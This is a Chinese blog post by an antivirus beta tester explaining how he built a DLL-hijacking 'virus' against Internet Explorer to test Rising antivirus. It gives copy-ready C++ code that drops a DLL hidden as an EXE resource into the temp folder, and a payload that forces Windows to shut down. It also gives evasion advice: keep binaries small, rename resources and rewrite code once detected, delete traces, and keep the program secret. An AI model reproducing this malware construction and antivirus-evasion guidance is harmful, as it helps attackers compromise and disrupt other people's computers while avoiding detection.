做出病毒也不太难

做出病毒也不太难

作者:董维春(CH

(原创文章,请勿转载,我的付出不应该成为你赚钱的工具)

 

94冬天开始学习编程,但一直讨厌病毒,感觉这些编写者另类,而只学习了一些数据库、报表和影音方法的知识。自己的电脑也经常中毒,但有杀软,所以从来就没担心过。参加瑞星的公测也只有两年,今年的公测让我认识到了不少高手,知道仅仅靠简单的测试不可能完全了解或理解瑞星的防卸和杀查能力,不如自己亲自做出点病毒来。

找到几个经常编写木马的高手,向他们学习了一些知识,然后开始做自己的病毒,这里向愤蓝、异天表示感谢!

当然自己学习的时间有限,理解能力相对差些,以下只把自己理解的写出来,以供瑞星杀查时参考,更希望和大家学习交流,打造一个相对安全的网络世界。

一、都是瘦身惹的货

也许微软最初的目的是好的,程序要运行所需要的DLL等相关的程序都放在System32下,但程序运行通常还是先访问程序当前的目录,然后才是去系统目录下去寻找,并且大家都希望自己的程序变得很小,所以就把相应的DLLBPL等等文件都放到系统目录下了,使自己的程序小得很,而系统目录下久了就会多出很多程序。但这不是我们下手的地方,我们的下手点在程序的当前目录,因为程序第一个要到这里来寻找他运行所需要的程序,而此时我们若能找到或做出一个类似的程序,当然此程序一定要保证原程序的运行,所以这要破解原来的DLLBPL之类的东东,看来黑客也累呀。

我的DLL是朋友直接给我的,所以这件工作就不用我来完成了!

但还是要改写的,我写的网络影响者第一版就是在入口函数处加上了

MessageBoxW(NULL,L"瑞星,让你知道,你很菜的!",L"",MB_OK);

二、把DLL加到程序中去

我们不能大方方的把DLL文件放在那,这样大家都会发现的,我们需要利用RC文件把DLL包含进EXE文件中,这样就很难被发现了。

 

我的RC原来文件的内容是
mydll EXEFILE ***.dll”,文件名是dll.rc

dll.rc作为一个新项目在CB程序中加入,编译后就形成RES文件了,而DLL文件也顺利的加到程序中了。

我这里只是小游戏,真正的黑客有两种选择,一种在DLL文件中书写客户端代码,一种就是另加一个程序作RC的资源文件,然后通过DLL激活肉鸡程序,而肉鸡程序被激活后也会自动在IE没开的情况下删除DLL,达到毁来现场的目的。

而这个肉鸡程序如何运行的,就不能再多说了,否则就再也没人教我了。

三、程序关键点

1、分离出DLL文件,此处还是用代码说话,这样比较实在,大家可以复制过去直接使用。

char exefile[100],tmppath[100],str[100];

unsigned   long   ret;

  //检查***.dll是否存在

 GetTempPath( 100, tmppath ) ;

 strcpy( exefile ,(AnsiString(tmppath)+AnsiString("***.dll") ).c_str()   )   ;

  ret = GetFileAttributes( exefile)   ;

  if( ret == 0xffffffff   )

         {   //不存在则分离出来***.dll

          TResourceStream &rs= *new TResourceStream((int)HInstance,AnsiString("mydll"),"EXEFILE");

          rs.SaveToFile(   AnsiString(exefile)   )   ;

          delete   &rs   ;

        }

2RC文件如何加入DLLEXE文件

RC文件是一个纯文本,可以用记事本编辑,要记住的每行的三项的要点,第一项是名称,第二项是类型,第三项是存在的文件名,书本上很少介绍EXEDLL之类的文件作为资源的,所以很多人一碰到就想到用压缩文件来加进去,或打包时加进去,其实我们只要用资源文件就很容易把这些东东加进去,只是要记住,类型一率为EXEFILE。另一难点是文件尽量与主程序放在一起,这样文件名就必加路径了,已保证RC文件顺利编译。

    四、工作的基本原理

DLL或木马程序安装到想要去的实际地方,实现起来并不难,一个简单的复制命令就可以实现了,从程序分离出来的DLLEXE得到相应的位置应该是非常简单的事情。

网络影响者实际是利用IE打开时调用某一DLL的过程来实现功能的,DLL被调用后,运行到入口处执行病毒代码,也可以是另一处,这个可以灵活运用,相信C代码你应该能看明白。

而现在木马或病毒的目的不是停止杀软进程,不能增加任何进程,更不是让使用他所利用的程序不正常运行,而是在你一无所知的情况下完成工作。当木马被激活后,通常要毁掉原来的程序,达到毁灭现场的目的,而删除命令真的特别好用,但一定要注意技巧,不能在被调用时删除,那非被发现不可,所以现在用DLL漏洞的还大有人在,但已经被另一种趋势所替代。

我这个程序是这样运行的,刚才讲了,现在的DLL劫持使用者已经变少了,现在多数会选择把木马直接安装到你的机器替换或当成某种系统必须使用的任务来执行,其实这是另一种劫杀,只是用的少,没被人广泛罢了。

五、应对杀软的查杀

1、体积尽量要小。网络影响者是为了玩,所以使用了漂亮的图标,整个全编译后的EXE文件才60K,图片占去了40K,这就没有必要了,并且也必须注意的。

2、少编写提示窗口。网络影响者确实是为了玩,才加上一些窗口,但真正的木马或病毒是不希望别人知道他的存在的,所以根本不可能编写这些东西。

3、程序被查杀了并不可怕。

既然我们的目的不纯,被查杀是早晚的事情,要及时查看杀查的代码提示,比如网络影响者的EXE被杀出来后,提示是“mydll”,这是我前面将的资源名,证明他取的是这段代码,所以只要把RCCB中的mydll换一下就可以了。

DLL文件被查,我们有两种办法应对,一种是把代码位置换了,另一种就写新代码替换原来被发现的部分,我的新程序中实现的是五秒后关机,所以就用以下代码替换了。

        //加入代码

MessageBoxW(NULL,L"瑞星,五秒后关机,看你这次拦截我不!",L"",MB_OK);

//对话框

        Sleep(5000); //Sleep( DWORD   dwMilliseconds); 等待五秒

        //以下为自动关机API

        HANDLE hToken;

        TOKEN_PRIVILEGES tkp;

        DWORD dwVersion;

 

        dwVersion = GetVersion();         // 系统版本信息 

        if(dwVersion < 0x80000000)        // 判判系统,取得权限

        {

            OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);

            LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME, &tkp.Privileges[0].Luid);

            tkp.PrivilegeCount = 1;

            tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;

            AdjustTokenPrivileges(hToken, FALSE, &tkp, 0, (PTOKEN_PRIVILEGES)NULL, 0);

            ExitWindowsEx(EWX_SHUTDOWN | EWX_FORCE, 0);

         }

        else

        {

             ExitWindowsEx(EWX_FORCE | EWX_SHUTDOWN, 0);

         }

 

        //加入代码结束

4、尽量让少的人知道,或不让外人知道你程序。这其实是很关键的,我的这个小程序才一天就被人上报了,无论上报人是何种目的,但至少是我没有保护好她。

5、目录保护,这点瑞星早就提出来了,但一直没起作用,我这个程序出来之后,发现起作用了,至少IE目录只要放东东就被怀疑是病毒,大有宁错杀一万,也不放过一个的作法,其实这是对的,但真的能起作用吗?

我们不谈如何避免被查,还是以我所说的劫持技术来讲,瑞星不可能把所有的运行程序目录,任何一个WIN下的程序也不可能不调用系统的DLL,所以这种技术就一定会继续被利用。

当然现在利用系统漏洞来做文章的大有人在,更有利用系统必要的服务来完成任务的,这东东的更深层次的办法,就是要充分利用系统,只要系统存在就会有他生存的地方。

六、天下何时真无贼

小偷和警察永远是一个无法平衡的主题,再历害的警察也会被高超的小偷给骗了。只要有系统存在,就会存在木马病毒,你不要期望杀软把所有的病毒都清理了,要记住再高水平的警察也会被一些人骗了的,更不能相信安了杀软就万事大吉了,一定要有选择性的上网,并经常检查临时目录下的文件,这很重要。

当看到他们控制N台肉鸡,给你显示肉鸡上的各杀软时你就会明白,这个世界真的不安全,保护好自己,也许只有走出去,了解他们,认识更多的着数,我们才会更好的保护自己!

 

(注:文章中所提的网络影响者所用的DLL文件是在VC6下编译的,EXE文件是在CB3下编译的)

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 3
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值